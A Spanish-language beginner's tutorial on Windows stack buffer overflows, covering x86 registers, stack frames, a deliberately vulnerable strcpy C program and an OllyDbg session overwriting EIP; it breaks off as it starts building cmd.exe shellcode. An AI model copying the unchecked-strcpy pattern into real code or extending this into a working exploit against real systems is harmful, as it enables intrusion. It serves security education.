Todo se puede aprender
...si se quiere.
Home » » Exploits y Stack Overflows en Windows

Exploits y Stack Overflows en Windows

10 de diciembre de 2017 | 14:32

Visto el "miedo" que se tiene al tema de los exploits y los buffers overflows, que parece algo místico, y que cada dos por tres un script kiddie pregunta en el foro como compilar un exploit, como funciona un exploit o donde encuentro un exploit, me he decidido a hacer un taller de buffers overflows y exploits, en Windows.

También veremos como crear una shellcode muy muy básica, muy explicadita, para que se entienda perfectamente.

Quizás, si el tema tiene éxito, hagamos otro sobre Linux, aunque son bastante parecidos, en Linux la cosa cambia en muchos aspectos.

Este documento esta basado en muchos que hay por la red, los cuales están al final del mismo, y de la aportación de muchos usuarios en diversos foros, listas de correo y como no, de exploits.

Es mi primer texto "en serio", además es bastante largo, y aunque creo que no contiene errores muy graves, puede tenerlos cualquier fallo del texto, comentario, opinión, amenaza, donación, oferta de trabajo, etc... al correo.

Vamos al tema



-== INTRODUCCION ==-

La teoría sobre el tema la iremos viendo según avance el documento, aunque antes de nada, haremos unas definiciones muy simples. La idea de dichas definiciones es saber "lo básico", ya que este texto esta dirigido a iniciados, no a gente que ya domina el tema, aquí no vera nada nuevo, pero es imprescindible buscar por Internet mucha mas información (sobre todo lo referente a programar en C/C++ y ASM)

- C/C++

Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de boot) y es tremendamente potente y optimizado. Sus archivos básicos son *.c y *.cpp (para los C++). Es el lenguaje más recomendable para aprender, el más útil.

- Ensamblador (ASM)

Es el lenguaje más "básico" que permite al programador interactuar con el CPU. Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad). Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de  programación, a la hora de compilar (obviamente, los lenguajes de script no), convierten su código en instrucciones ASM.

Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T, seria popl, movl, pushl, etc..) Es un lenguaje de programación difícil de aprender, solo para cosas puntuales o que requieran una gran optimización, pero saberlo te dará muchas alegrías. Cualquier informático debería poder entender y dominar las instrucciones básicas.

- Debugger (Depurador)

Un debugger es un programa que permite ir "paso a paso", instrucción a instrucción a otro programa. Al ir instrucción a instrucción, podemos ver completamente que esta pasando, los registros, la memoria, etc, así como muchas mas funciones muy interesantes. Su función principal es la de auditar código, y ver el porque falla (o simplemente porque no realiza lo que queremos que haga), es una herramienta imprescindible para cualquier programador. Lo que pasa que también puede servir para otras cosas.

- Dissasembler (Desamblador)

Un desamblador es un programa que te muestra el código de un programa, una dll, lo que sea que este hecho de código que el desamblador entienda. Normalmente, te muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la conversión de dichas instrucciones C en ASM), aunque hay desambladores que permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por ejemplo.

Normalmente, debugger y dissasembler van en el mismo programa, los mas usados son el Ollydbg (el que usare aquí), Softice, IDA, Win32dasm...

- Hex Editor (Editor Hexadecimal)

No hay que confundir un dissasembler con un hex editor. El primero te muestra el código de un programa, el hex editor simplemente te muestra el contenido de un archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y modificar archivos que usan programas, tanto para fines "de programación" (el porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de "hacking" o "cracking".

A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores. Cuestión de buscar.

- La CPU (microprocesador)

La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de ejecutar las instrucciones de un programa o sistema operativo, instrucción a instrucción, que estén en una determinada área de memoria. Se ayuda de registros donde almacena variables, datos o direcciones. Una explicación completa sobre el tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima información.

- Registros de la CPU.

La cpu (microprocesador) contiene una serie de registros, donde almacena variables, datos o direcciones de las operaciones que esta realizando en este momento. El lenguaje ASM se sirve de dichos registros como variables de los programas y rutinas, haciendo posible cualquier programa (de longitudes considerables, claro). Los más interesantes son:

EIP Extended Instruction Pointer.

El registro EIP siempre apunta a la siguiente dirección de memoria que el procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una detrás de la otra, salvo que dicha instrucción requiera un salto, una llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto,
ejecutando las instrucciones en la dirección que especificaba el salto. Si logramos que EIP contenga la dirección de memoria que queramos, podremos controlar la ejecución del programa, si también controlamos lo que haya en esa dirección.

EAX, EBX... ESI, EDI...

Son registros multipropósito para usarlo según el programa, se pueden usar de cualquier forma y para alojar cualquier dirección, variable o valor, aunque cada uno tiene funciones "especificas" según las instrucciones ASM del programa:

EAX:
Registro acumulador. Cualquier instrucción de retorno, almacenara dicho valor en EAX. También se usa para sumar valores a otros registros en funciones de suma, etc....

EBX

Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones de memoria (para luego sumarles un offset) etc...

ECX

Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador, cuando ECX llega a cero, el loop se acaba.

EDX

Registro dirección o puntero. Se usa para referenciar a direcciones de memoria mas el offset, combinado con registros de segmento (CS, SS, etc..)

ESI y EDI

Son registros análogos a EDX, se pueden usar para guardar direcciones de memoria, offsets, etc..

CS, SS, ES y DS

Son registros de segmento, suelen apuntar a una cierta sección de la memoria. Se suelen usar Registro+Offset para direccionar a una dirección concreta de memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de datos actual. ES es "multipropósito", para lo mismo, referenciar direcciones de memoria, y un largo etc...

ESP EBP

Extended Stack Pointer y Extender Base Pointer. Ambos los veremos más en profundidad cuando explique la pila. Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP). ESP siempre contiene la dirección del inicio de la pila (la cima) que esta usando el programa o hilo (thread) en ese momento. Cada programa usara un espacio de la pila distinto, y cada hilo del programa también. EBP señala la dirección del final de la pila de ese programa o hilo.

- ¿Que es una vulnerabilidad?

Una vulnerabilidad es un fallo que compromete la seguridad del programa o sistema. Aunque se le asocia también a "bug" (fallo), pero no es lo mismo. Un bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque vaya lento, a un programa que funciona mal al intentar hacer una división por 0. Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o el programa, permitiendo al "hacker" ejecutar código arbitrario, detener el sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.

- ¿Que es un exploit?

Un exploit es un código, un "método", un programa, que realiza una acción contra un sistema o programa que tiene una vulnerabilidad, "explotándola", y sacando un beneficio de la misma. Dicho beneficio normalmente es la ejecución de código (dentro de ese programa, con los privilegios del mismo) que nos beneficia, dándonos por ejemplo una contraseña, o dándonos una shell de comandos, añadir un usuario administrador al sistema, o incluso lo único que hacen es detener el servicio o el sistema, según nuestros propósitos.

Habría que distinguir entre exploits "completos" (los que están completamente funcionales) y los POCs (proof of concept) que son exploits que demuestran que dicha vulnerabilidad existe y que es explotable, pero que no dan ningún beneficio o el beneficio es mínimo. Normalmente se usan estos últimos para evitar el uso de los mismos por niñatos (script kiddies) o para evitar gusanos (supongo que se acuerdan del blaster o del sasser, se liberaron los exploits completamente funcionales)

- ¿Que es una shellcode?

Una shellcode es un código básico en ASM, muy corto generalmente, que ejecuta los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve para añadir un usuario a la cuenta del sistema, para descargar un troyano y ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el código que ejecutara el programa vulnerable una vez tengamos su control. No es nada difícil de programar sabiendo ASM básico y como funciona tu SO.

Una vez programada en ASM (para testearla, por ejemplo, además de que es mas fácil programarla en ASM que directamente con opcodes), se pasa a un string, compuesto por los opcodes (códigos de operación, en hexadecimal) de dichas instrucciones ASM. Lo veremos mas adelante :)

- ¿Que es un overflow?

Un overflow es, básicamente, cuando resguardamos espacio de memoria insuficiente para una variable (allocate), y le introducimos más datos a dicha variable de los que puede soportar. La variable "desborda", y los datos que no caben sobrescriben memoria continua a dicha variable. Si declaramos una variable que solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se pierden, sino que sobrescriben la memoria contigua a dicha variable.

Hay distintos tipos de overflow, stack overflow (el que veremos aquí, también llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya lo veremos en algún otro texto, se refiere a desbordar una variable declarada en el heap en vez de en la pila...), format string overflow (bugs de formato de las cadenas de texto), integer overflow (debidos a declaraciones de variables con un espacio mínimo o negativo que proveemos nosotros...), etc...

- ¿Porque se le llama Stack Overflow?

La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en entrar, primero en salir. Pensad en una pila de libros, solo puedes añadir y quitar libros por la "cima" de la pila, por donde los añades. El libro de mas "abajo", será el ultimo en salir, cuando se vacíe la pila. Si tratas de quitar uno del medio, se puede desmoronar.

Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en una pila para manejar las variables locales de un programa, los retornos (rets) de las llamadas a una función (calls), las estructuras de excepciones (SEH, en Windows), argumentos, variables de entorno, etc...

Por ejemplo, para llamar a una función cualquiera, que necesite dos argumentos, se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y luego se llama a la función.

Si el sistema quiere hacer una suma (5+2), primero introduce el 2º argumento en la pila (el 2), luego el 1º argumento (el 5) y luego llama a la función suma.

Bien, una "llamada" a una función o dirección de memoria, se hace con la instrucción ASM Call. Call dirección (llamar a la dirección) ó call registro (llama a lo que contenga ese registro). El registro EIP recoge dicha dirección, y la siguiente instrucción a ejecutar esta en dicha dirección, hemos "saltado" a esa dirección.

Pero antes, el sistema debe saber que hacer cuando termine la función, por donde debe seguir ejecutando código. El programa puede llamara  la función suma, pero con el resultado, hacer una
multiplicación, o simplemente mostrarlo por pantalla. Es decir, la CPU debe saber por donde seguir la ejecución una vez terminada la función suma.

Para eso sirve la pila. Justo al ejecutar el call, se GUARDA la dirección de la siguiente instrucción en la pila. Esa instrucción se denomina normalmente RET o RET ADDRESS, dirección de "retorno" al programa principal (o a lo que sea).

Entonces, el call se ejecuta, se guarda la dirección, coge los argumentos de la suma, se produce la suma y, como esta guardada la dirección por donde iba el programa, VUELVE (RETORNA) a la dirección de memoria que había guardada en la pila (el ret), es decir, a la dirección siguiente del call.

Vamos a verlo por pasos:

1º Llegamos al call (EIP apunta a la instrucción call)
2º Se ejecuta el call. EIP apunta a la instrucción del call, es decir, donde debemos ir)
3º Se guarda la siguiente instrucción después del call en la pila (el ret)

En ese momento, la pila esta así:
ESP           | RET ADDRESS |   EBP -8bytes
ESP +4bytes   | argumento 1 |   EBP -4bytes
ESP +8bytes   | argumento 2 |   <--- EBP apunta aquí (la base de la pila)

4º La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente, dentro de la función suma se usara la pila para almacenar datos y demás...)
5º La función suma alcanza la instrucción RETN (retorno), y EIP recoge la dirección RET ADDRESS, y vuelve al programa principal, justo después del call suma.

Espero que se entienda, es muy importante, ya que un stack overflow significa introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret address, pero eso lo veremos mas adelante.

Imaginaos que al hacer ese call, dentro de la función suma necesitamos un espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que sea.

Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s, un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila (no entraremos en temas de heap).

Básicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir los variables y valores que ya haya en la pila, de otras funciones o programas.

Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para saber DONDE estaba la anterior base de la pila, la pila del proceso principal. Esto también es importante, es el EBP salvado del proceso anterior. Cuando la función suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en el "trozo" de pila del proceso principal.

Ahora mismo, la pila esta así:

ESP             | EBP anterior salvado |       EBP - 4
ESP +4bytes     | RET ADDRESS          |       <---- El EBP actual apunta aquí
ESP +8bytes     | argumento 1 de suma  |       EBP +4
ESP +12bytes    | argumento 2 de suma  |       EBP + 8

Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y EBP son esos bytes, donde irán nuestros datos (nombre, datos, lo que sea). Por ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con múltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP 12 bytes:

ESP            | basura, aun no hay nada inicializado| EBP -16 
ESP +4         | basura                              | EBP -12 
ESP +8         | basura                              | EBP -8
ESP +12        | EBP anterior salvado                | EBP -4
ESP +16        | RET ADDRESS                         | EBP (el EBP no cambia)
ESP +20        | argumento 1 de suma                 | EBP +4
ESP +24        | argumento 2 de suma                 | EBP +8             

Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que había antes ahí, de anteriores usos de la pila, pero que no nos sirven) para nuestro nombre o lo que sea, de 12 bytes.

Pero, si esos bytes no son suficientes, al introducir nuestro nombre por ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos 14, los 2 bytes que sobran, sobrescribirán la memoria contigua a la declarada en la variable, es decir, sobrescribirán el EBP de la anterior función, si metemos 4 lo sobrescribiremos completamente:

Introducimos AAA...A  (16 As) para ver que pasa (esto no se haría con push, que aumentan ESP, sino con instrucciones MOV)

ESP            | AAAA                                    | EBP -16 
ESP +4         | AAAA                                    | EBP -12 
ESP +8         | AAAA                                    | EBP -8
ESP +12        | (EBP anterior salvado sobrescrito) AAAA | EBP -4
ESP +16        | RET ADDRESS                             | EBP
ESP +20        | argumento 1 de suma                     | EBP +4
ESP +24        | argumento 2 de suma                     | EBP +8

Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos interesa.

Bien, pasemos a la práctica real, donde se vera todo mucho mejor explicado.

-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-

Hache esta el típico típico típico código de stack overflow. Cualquiera que haya leído un doc sobre buffer overflow, habrá visto un código semejante (sino igual) a este.

Y, como todos los tutoriales sobre programación empiezan con el "Hola Mundo", yo empezare con el código típico vulnerable.

El código esta comentado (//) para que entendáis cada línea:

/* vuln1.c por Rojodos */

#include <stdio.h>  // librería stdio.h, funciones básicas de Entrada/Salida

int main (int argc, char **argv){  // La función "principal" del programa
función
char buffer[64]; //Declaramos un array con 64 bytes de espacio
if (argc < 2){  // Si los argumentos son menores que 2...
printf ("Introduzca un argumento al programa\n"); //Printeamos
return 0;  // y retornamos 0 a la función main, y el programa acaba
        }
strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

return 0;  // Devolvemos 0 a main, y el programa acaba.
}


El fallo esta en la función strcpy. Esa función copiara lo que hayamos metido por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer solo tiene espacio para 64 caracteres, no hay ningún chequeo de tamaño de la fuente (eso se hace por ejemplo, con la función mas segura strncpy), y por argumentos al programa le podemos meter lo que queramos.

Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp o Visual C++), generamos el archivo vuln1.exe

Al ejecutarlo en una consola MSDOS así:

Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos\manual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA....

Les saldrá la típica ventanita de que vuln1.exe ha detectado un problema y debe cerrarse. Si pinchas en "Para ver los datos de los errores, haga click aquí", veras que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en www.asciitable.com). Es decir, hemos sobrescrito la dirección de retorno de MAIN () (no de strcpy, pues la dirección de strcpy va ANTES de la variable buffer en la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la pila) con AAAA --> 41414141

Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en www.elhacker.net lo encontraras fácilmente, o en su pagina principal, googlead un poco)

Usar un debugger, y mas el olly, es realmente fácil, no tiene ningún misterio. Si alguien se cree que es una herramienta para "elites" y súper difícil de usar, esta completamente equivocado.

Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veréis que salen un montón de instrucciones en la ventana principal, con la dirección relativa de código inicial de 00401000. Esta dirección es la dirección base del ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa dirección) mas el offset señalado en el PE header, que indica donde empieza el código (entry point, en este caso el offset es +1000h).

También deberíais ver a vuestra derecha, el estado de los registros de la CPU, EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la izquierda, deberíais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo a la derecha, la pila (stack). Ahí tenéis que tener la vista casi fija.

Una vez cargado el ejecutable (se os abrirá una ventanita de MS-DOS, pero que no sale nada, no os preocupéis, el programa esta cargado en memoria, pero no se esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos ahí). Os dirá que tenemos que resetear el programa para que los argumentos tengan efecto (nos vamos a Debug-> Restart). Y listo.

Le damos a RUN (Debug -> Run ó F9) y....

Access violation when executing [41414141]

Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha tratado de ejecutar lo que hay en la dirección "AAAA"

Vamos a ver esto un poco mas "pausado", para ver como funciona realmente.

Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial (los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta vez vamos a poner un breakpoint en la función de strcpy, para ver en directo que esta pasando.

Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la ejecución llegue ahí (cuando el registro EIP señale la dirección de memoria donde hemos puesto el BP), se pare la ejecución (NO SE EJECUTA LA INSTRUCCIÓN SEÑALADA CON EL BP), para echar un vistazo, a ver que esta pasando.

Bajamos un poco por el código, hasta que encontramos algo así:

004012CD  |. 68 80124000    PUSH vuln1.00401280                      ; /format =
"Introduzca un argumento al programa"
004012D2  |. E8 79170000    CALL <JMP.&msvcrt.printf>                ; \printf
004012D7  |. 83C4 10        ADD ESP,10
004012DA  |. EB 17          JMP SHORT vuln1.004012F3
004012DC  |> 83EC 08        SUB ESP,8
004012DF  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
004012E2  |. 83C0 04        ADD EAX,4
004012E5  |. FF30           PUSH DWORD PTR DS:[EAX]                  ; /src
004012E7  |. 8D45 B8        LEA EAX,DWORD PTR SS:[EBP-48]            ; |
004012EA  |. 50             PUSH EAX                                 ; |dest
004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10


Les explico antes de nada, que es cada "cosa". 004012XX es la dirección relativa de memoria donde esta el ejecutable.

Es decir, su dirección relativa en la RAM. Como ya he dicho, todos los ejecutables cargados en memoria, empiezan en 00400000+offset del entry point (que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del código del programa es 00401000h). EIP va cogiendo cada dirección, una detrás de otra, y la CPU ejecuta la instrucción contenida en esa dirección.

68 80124000 --> Son los "opcodes" de la instrucción ASM, mas o menos como decir que es la instrucción ASM “convertida” en hexadecimal (mas bien de binario 01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos vendrá bien para que hagamos nuestra shellcode.

PUSH vuln1.00401280  --> instrucciones en ASM, en este caso esta introduciendo en la pila la dirección del ejecutable (sección .data) donde esta el string "Introduzca un..."

Lo demás, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL <JMP.&msvcrt.printf>   ; \printf), etc....

Bien, el printf ese, es el código que se ejecuta si no le metemos argumentos al programa, no nos tiene porque interesar (es el código que se ejecuta cuando no metemos argumentos al programa)

Pero si esto:

004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10

Aquí se produce la llamada a la función vulnerable (llama a la DLL msvcrt.dll, donde esta la función C strcpy) y si os fijáis, la siguiente dirección a ejecutar es 004012F0   ADD ESP,10. Cuando se produzca el Call strcpy, se pusheara en la pila 004012F0, que es la dirección de retorno (ret address).

Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsáis con el ratón en esa dirección, y pulsáis F2. Se tendría que iluminar de rojo esa dirección.

Pues tras ponerle el BP, le damos a RUN (F9)

El programa se detiene antes de ejecutar esa instrucción (fijaos que ahora, aparte de rojo, aparece con un cuadro negro la dirección de memoria, significa que esa es la siguiente dirección a ejecutar). Por si no nos ha quedado claro, EIP marca precisamente esa dirección, 004012EB

¿Que hay en la pila?

0022FF00   0022FF28  |dest = 0022FF28
0022FF04   003D24A3  \src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAAAAAs) AAAAAAAAAAAAAAAA"

ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la dirección de la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y "src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28.
Esta referenciado por 003D24A3, que precisamente es la dirección de argv[1], donde comienza la cadena "AAAAA....". Sigamos.

Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin embargo, vemos algo así:

0022FF28  |FFFFFFFF  <-- Empiezan los 64 bytes reservados para buffer, es basura
0022FF2C  |77BFAB33  RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD  <-- Basura
0022FF30  |77C09348  RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura
0022FF34  |003D25A8  <-- Basura
0022FF38  |003D2470  <-- ..
0022FF3C  |0000000C  <-- ...
0022FF40  |77C08A55  RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura
0022FF44  |004D7EF9
0022FF48  |0012D548
0022FF4C  |7FFDF000   <-- Todo esto hasta abajo siguie siendo basura
0022FF50  |000000ED
0022FF54  |00000003
0022FF58  |0022FF60
0022FF5C  |77BEE921  RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura
0022FF60  |0022FFA0
0022FF64  |004010C0  RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs>
0022FF68  |00403000  vuln1.00403000 <-- basura...
0022FF6C  |00403004  vuln1.00403004 <--- AQUI terminan los 64 bytes reservados para buffer (incluido)
0022FF70  ]0022FFA0  <-- EBP salvado del anterior proceso (main)
0022FF74  |00401170  RETURN to vuln1.00401170 from vuln1.004012A6  <-- dirección de retorno de main()


Si te fijas, justo debajo de donde terminan los 64 bytes reservados para buffer (todo lo que hay es basura, de anteriores funciones y tal, que no se van a volver a usar), esta el EBP anterior salvado (el EBP de la función main, la base de SU pila) y debajo esta la dirección de retorno de la función main.
Vesque esta en la dirección 0022FF74, y que apunta a la instrucción 00401170. Cuando la función main() del programa termina, se ejecuta lo que haya en esa dirección.

¿Y que hay ahí?

00401170  |. 89C3           MOV EBX,EAX                              ; |
00401172  |. E8 59180000    CALL <JMP.&msvcrt._cexit>                ; |[msvcrt._cexit
00401177  |. 891C24         MOV DWORD PTR SS:[ESP],EBX               ; |
0040117A  \. E8 51190000    CALL <JMP.&KERNEL32.ExitProcess>         ; \ExitProcess

Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API ExitProcess dentro de Kernel32.dll, el programa termina.

¿Fácil no?

Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir saltando por la DLL (lo que haría seria ir instrucción por instrucción de como trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el CALL), le damos a F8, que "salta" a la siguiente instrucción sin entrar en el CALL. (Es decir, el call se ejecuta así como todas las instrucciones que conlleva, pero nosotros no lo vemos, el programa se para justo después de terminar la función strcpy). Si pulsáis F9 (Run), el programa terminara con el fallo famoso, y no veremos nada, así que pulsad F8.

Ahora se ha ejecutado la función strcpy, se han copiado todas las AAAs al buffer, y estamos justo debajo de la llamada a Strcpy():


004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10       <--- Estamos aquí

EIP apunta a 004012F0, es la siguiente instrucción que se va a ejecutar.

Miremos la pila:


0022FF00   0022FF28  ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF04   003D24A3  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA"
0022FF08   0022FF70  ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) AAAAAAAAAAAAAAAAAAAAAAAA"
0022FF0C   004012C4  RETURN to vuln1.004012C4 from vuln1.004013D0
0022FF10   77BE2048  msvcrt.77BE2048
0022FF14   0022FEF8
0022FF18   77BFAC19  RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD
0022FF1C   0022FFE0  ASCII "AAAAAAAAAAAAA"
0022FF20   77C03EB0  msvcrt._except_handler3
0022FF24   00000000
0022FF28   41414141  <-- Aqui empieza la variable buffer
0022FF2C   41414141
0022FF30   41414141
0022FF34   41414141
0022FF38   41414141
0022FF3C   41414141
0022FF40   41414141
0022FF44   41414141
0022FF48   41414141
0022FF4C   41414141
0022FF50   41414141
0022FF54   41414141
0022FF58   41414141
0022FF5C   41414141
0022FF60   41414141
0022FF64   41414141
0022FF68   41414141
0022FF6C   41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A partir de aquí hemos hecho el overflow.
0022FF70   41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA
0022FF74   41414141 <--- Antigua dirección del ret del main () sobrescrito con AAAA
0022FF78   41414141
0022FF7C   41414141
0022FF80   41414141
0022FF84   41414141

Hay muchas cosas en la pila (fijate por donde han entrado) derivadas del uso del strcpy:

0022FF00   0022FF28  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA"

La direccion 0022FF00 contiene la dirección de la pila (0022FF28) donde empieza la variable buffer, donde empiezan todas nuestras AAAAs...

0022FF04   003D24A3  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA"

La dirección 0022FF04 contiene la dirección en el HEAP (memoria dinámica) de la variable argv[1], donde están las AAAs que introducimos por argumento al programa.

0022FF08   0022FF70  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAA"

La dirección 0022FF08 contiene la dirección del antiguo EBP del main, que ahora esta sobrescrito con AAAAs...

Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la dirección de retorno del main (), la que llamaba a finalizar el proceso (Hemos sobrescrito mucho más, pero bueno.... así se ve mejor).

¿Eso que quiere decir?

Si vemos nuestro programita principal, justo después del call (la ejecución ha vuelto al programa principal):

004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10    <--- Estamos aquí parados  (EIP =
004012F0)
004012F3  |> B8 00000000    MOV EAX,0
004012F8  |. C9             LEAVE
004012F9  \. C3             RETN   <-- cuando llegue aquí....

Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP vale 41414141, ya que era la "base" de la pila del anterior proceso, en este caso main() (se salva para delimitar los "trozos" de pila que corresponden a cada función, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, 10 y al LEAVE y que  ahora apunta a 0022FF74.

0022FF74   41414141 <--- Antigua dirección del ret del main () A partir de aquí hemos hecho el overflow.

Al ejecutar el RETN, EIP "recogerá" la dirección que apunta ESP (0022FF74) que debería ser la dirección de la llamada a ExitProcess(), pero que en este caso es 41414141 porque la hemos sobrescrito.

La CPU tratara de ejecutar lo que haya en 41414141, que esta fuera del segmento de usuario, y petara.

Un bonito overflow de pila, normal y corriente.

-== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-

¿Bien, y todo esto para que nos sirve?

Bueno, y ¿si hubiéramos sobrescrito la dirección del retorno de main con la dirección de un código que nos fuera provechoso? Ese código provechoso es nuestra shellcode.

Si conseguimos que el programa salte a donde nosotros queramos, donde este nuestra shellcode, podremos ejecutar CUALQUIER código (funciones, etc... cualquier cosa, aunque mientras mas complicada, mas grande será la shellcode, y hay que tener en cuenta el tamaño del buffer...). Una shellcode puede ejecutar cualquier cosa, tanto en Windows, como en Linux y derivados.

Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun...
¿COMO LA HACEMOS?

Una shellcode se hace en ensamblador, en ASM. No es tan difícil como parece. Tratare de explicar como codear una pequeña y simple shellcode que ejecute una shell cmd.

Bien, antes de nada, aquí es más que recomendable tener el Visual C++ 6.0.

Básicamente, lo que queremos es convertir esta función C, en un código ASM, y posteriormente, ese código convertirlo en hexadecimal, y pasárselo al programa como parámetro, pero ya entraremos en eso.

system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell MSDOS.

También podíamos haber usado WinExec() en vez de system, o incluso CreateProcess() eso se lo dejamos a cada uno que pruebe.

Bien, como ya he dicho, llamar a system, como una función cualquiera, en ASM, seria así:

push 0  --> en realidad, system se llama así: system("cmd.exe0"), con un null (0) para delimitar el final de la cadena "cmd.exe"push dirección_cadena_cmd  --> system realmente se llama así:  system(dirección del comando)call system --> offset de system en la msvcrt.dll


Bien, tenemos que conseguir 3 cosas:

